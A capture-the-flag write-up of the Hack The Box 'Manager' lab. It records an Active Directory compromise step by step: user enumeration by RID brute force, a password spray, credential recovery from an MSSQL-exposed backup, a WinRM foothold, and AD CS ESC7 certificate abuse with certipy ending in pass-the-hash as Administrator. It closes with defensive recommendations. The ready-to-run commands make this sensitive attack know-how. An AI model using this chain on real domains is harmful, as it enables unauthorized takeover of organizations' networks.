Manager — AD CS ESC7 via Certificate Authority Abuse

At a glance

Field	Value
Difficulty	Medium
Target environment	Windows Active Directory domain; Domain Controller hosting AD CS, with MSSQL (1433), SMB (445), and WinRM (5985)
Starting position	Unauthenticated network access
Objective	Escalate from unauthenticated enumeration to domain compromise by recovering credentials and abusing AD CS ManageCA rights through ESC7
Outcome	Standard-user WinRM foothold and Administrator NT-hash recovery through ESC7, shown by a pass-the-hash Administrator session

Summary

Manager is a Medium-rated Hack The Box Active Directory lab. RID brute forcing enumerates domain users and a username-as-password spray recovers one account; MSSQL access as that account exposes an old website backup holding a second credential; and the second account holds ManageCA rights over the Enterprise CA, enabling the AD CS ESC7 chain — officer assignment, template enablement, failed-request issuance, certificate retrieval, and NT-hash recovery for domain compromise. Passwords, hashes, addresses, and domain/host/CA identifiers are replaced with role-based placeholders; command and technique syntax is preserved.

Attack path: RID brute forcing → username-as-password spray → MSSQL backup discovery → WinRM foothold → BloodHound rights collection → AD CS ESC7 (officer assignment → template enablement → failed-request issuance → certificate retrieval) → NT-hash recovery → pass-the-hash Administrator

Context and Objective

• Target: a Windows Active Directory domain whose Domain Controller also hosts an Enterprise CA (AD CS), alongside MSSQL (1433), SMB (445), and WinRM (5985).
• Starting position: unauthenticated network access, with no credentials provided.
• Objective: enumerate domain users, recover initial credentials, and escalate to domain compromise through AD CS abuse rather than a software memory-corruption or remote-code-execution flaw.
• Environment: Hack The Box lab; all activity was confined to the platform’s isolated lab environment.

Approach and Evidence

1. Service Enumeration

Observation: the target exposes standard AD services plus MSSQL and WinRM, with AD CS present on the Domain Controller.

nmap -sC -sV -p- -Pn -oA <OUT_PREFIX> <TARGET_IP> -T5

Truncated scan output:

Domain: <DOMAIN>
MSSQL: 1433/tcp
SMB: 445/tcp
WinRM: 5985/tcp
AD CS present on <DC_HOST>

Significance: MSSQL provides filesystem-level access once authenticated, and the AD CS role on the Domain Controller is the eventual escalation surface.

Result: an AD domain is reachable with MSSQL, SMB, WinRM, and AD CS exposed.

2. User Enumeration and Credential Spray

Observation: null or guest SMB access is limited, but RID brute forcing recovers domain usernames.

Action: enumerate users by RID brute force, then spray each username as its own password.

nxc smb <TARGET_IP> -u 'Guest' -p '' --rid-brute

Build a user list, then spray:

nxc smb <DOMAIN> -u <USERLIST> -p <USERLIST> --no-bruteforce --continue-on-success

The spray returns one valid credential pair:

<DOMAIN>\<OPERATOR_USER> : <OPERATOR_PASSWORD>

Significance: usernames are discoverable without credentials, and one account accepts its username as its password; this account is the entry point into the domain services.

Result: valid credentials for one domain account were recovered and validated through SMB authentication.

3. MSSQL Enumeration — Legacy Backup Discovery

Observation: the recovered credential authenticates to MSSQL through Windows authentication.

Action: connect and enumerate the web root.

impacket-mssqlclient <DOMAIN>/<OPERATOR_USER>:<OPERATOR_PASSWORD>@<TARGET_IP> -windows-auth

The web root contains an old website backup archive:

website-backup-27-07-23-old.zip

A configuration file inside the archive holds a second credential pair for a different domain account (sanitized):

<access-user>
  <user><SECOND_USER>@<DOMAIN></user>
  <password><SECOND_PASSWORD></password>
</access-user>

Significance: MSSQL filesystem access commonly exposes legacy backups and configuration files, and this backup embedded an active credential for a more privileged account.

Result: a second credential pair was recovered from the backup configuration; it is validated later through WinRM.

4. BloodHound Collection

Observation: the second account’s effective privileges still need mapping to find a route to the CA.

Action: collect domain objects and privilege edges with BloodHound CE.

bloodhound-ce-python \
  -d <DOMAIN> \
  -u '<SECOND_USER>' \
  -p '<SECOND_PASSWORD>' \
  -c all \
  -gc <DC_HOST>

Significance: collecting AD objects and ACL edges as an authenticated domain user is how non-obvious rights such as certificate-authority management (ManageCA) rights surface, subsequently confirmed with certipy find; the CA relationship is what the ESC7 chain ultimately requires.

Result: domain objects and privilege edges were collected for the second account.

5. Foothold — WinRM Login

Observation: the second account has WinRM access, and the recovered credential fits it.

Action: authenticate interactively over WinRM.

evil-winrm -i <TARGET_IP> -u '<SECOND_USER>' -p '<SECOND_PASSWORD>'

Authentication returns a shell:

*Evil-WinRM* PS C:\Users\<SECOND_USER>\Desktop>

Significance: this confirms the recovered credential is valid and yields interactive code execution as a domain user.

Result: an interactive WinRM session as <SECOND_USER> was established.

6. AD CS ESC7 — CA Officer and Template Abuse

Observation: the second account holds ManageCA rights over the Enterprise CA (<CA_NAME>), which ESC7 abuses to issue certificates for high-value accounts.

Action: enumerate the vulnerable certificate path with Certipy.

certipy find \
  -dc-ip <TARGET_IP> \
  -u '<SECOND_USER>@<DOMAIN>' \
  -p '<SECOND_PASSWORD>' \
  -vulnerable -stdout -enable

The vulnerable path is ESC7 through CA officer and template manipulation.

Step 1 — Add the second account as a CA officer:

certipy ca \
  -ca '<CA_NAME>' \
  -add-officer <SECOND_USER> \
  -username <SECOND_USER>@<DOMAIN> \
  -p '<SECOND_PASSWORD>'

Step 2 — Enable the SubCA template:

certipy ca \
  -username <SECOND_USER>@<DOMAIN> \
  -p '<SECOND_PASSWORD>' \
  -ca '<CA_NAME>' \
  -enable-template 'SubCA'

Step 3 — Request a SubCA certificate as Administrator; the request fails, but a request ID is created:

certipy req \
  -username <SECOND_USER>@<DOMAIN> \
  -p '<SECOND_PASSWORD>' \
  -ca '<CA_NAME>' \
  -template SubCA \
  -upn administrator@<DOMAIN>

Step 4 — Issue the failed request as a CA officer:

certipy ca \
  -username <SECOND_USER>@<DOMAIN> \
  -p '<SECOND_PASSWORD>' \
  -ca '<CA_NAME>' \
  -issue-request <REQUEST_ID>

Step 5 — Retrieve the issued certificate:

certipy req \
  -username <SECOND_USER>@<DOMAIN> \
  -p '<SECOND_PASSWORD>' \
  -ca '<CA_NAME>' \
  -retrieve <REQUEST_ID>

Step 6 — Authenticate with the retrieved certificate and recover the Administrator NT hash:

certipy auth -pfx administrator.pfx -dc-ip <TARGET_IP>

Got hash for 'administrator@<DOMAIN>':
<LM_HASH>:<NT_HASH>

Significance: ESC7 chains ManageCA rights through officer assignment, template enablement, and failed-request issuance to obtain a certificate for any account; PKINIT authentication with that certificate exposes the account’s NT hash, enabling pass-the-hash without cracking.

Result: an Administrator certificate was issued and its PKINIT authentication returned the Administrator NT hash.

7. Full Compromise — Pass-the-Hash

Observation: the recovered NT hash can authenticate directly, without the plaintext password.

Action: authenticate as Administrator using the hash.

evil-winrm -i <TARGET_IP> -u Administrator -H '<NT_HASH>'

*Evil-WinRM* PS C:\Users\Administrator\Desktop>

Significance: pass-the-hash grants administrative code execution and completes the escalation from an unauthenticated position.

Result: an interactive Administrator session was established.

Challenges and Decisions

Challenge	Decision	Rationale
Null or guest SMB access yielded limited results	Switched to RID brute forcing to enumerate usernames	RID enumeration exposed domain users that anonymous access did not
The Administrator certificate request failed	Issued the failed request afterward as a CA officer, then retrieved it	A CA officer can authorize a pending request, so a failed request is not a dead end

Outcome

Authenticated user access is established by validated SMB and WinRM sessions, and administrative control is established by a pass-the-hash Administrator session against the recovered NT hash. The escalation relies on a weak credential policy, a legacy backup exposed through MSSQL filesystem access, and an over-privileged ManageCA right. Passwords, hashes, addresses, and domain/host/CA identifiers are omitted, and the ESC7 sub-steps for which the source captured no tool output are reported as source-recorded rather than output-verified.

Lessons and Recommendations

Every action below is a recommendation; none was validated in the lab.

1. Usernames are enumerable and reused as passwords. Root cause: RID enumeration exposes account names, and at least one account’s password equals its username. Demonstrated impact: a single low-noise spray recovered a working domain credential. Recommendation: enforce length and complexity policy, reject usernames and common patterns as passwords, and set lockout thresholds. Detection: alert on repeated authentication failures or many distinct accounts attempted from one source.
2. MSSQL filesystem access exposed a legacy backup with a plaintext credential. Root cause: authenticated MSSQL access could read a web-root backup whose configuration file stored a credential in cleartext. Demonstrated impact: a more privileged account’s credential was recovered without exploitation. Recommendation: remove secrets from backups and configuration files, restrict the database service’s filesystem reach, and rotate any credential that has ever appeared in a backup. Validation: scan backup and export artifacts for secrets before storage.
3. An over-privileged ManageCA right enabled ESC7. Root cause: a standard user held ManageCA over the Enterprise CA, permitting officer assignment and template enablement. Demonstrated impact: a certificate for the Administrator account was issued and its NT hash recovered, yielding full domain compromise. Recommendation: restrict CA officer and CA-manager rights to dedicated administrative accounts, and review certificate templates for sensitive enrollee permissions. Detection: alert on CA officer additions, template enablement, and failed-then-issued request sequences.

References

• Hack The Box — Manager (retired machine)
• Certipy (AD CS enumeration and abuse, including ESC7)
• Certificate authority roles and officer rights — [MS-CSRA] (Microsoft Learn) (ManageCA/CA officer rights model)
• NetExec (SMB enumeration and credential spraying)
• Impacket (mssqlclient for MSSQL access)
• BloodHound Community Edition (AD object and privilege-edge collection)
• evil-winrm (WinRM interactive shell)
• Nmap Reference Guide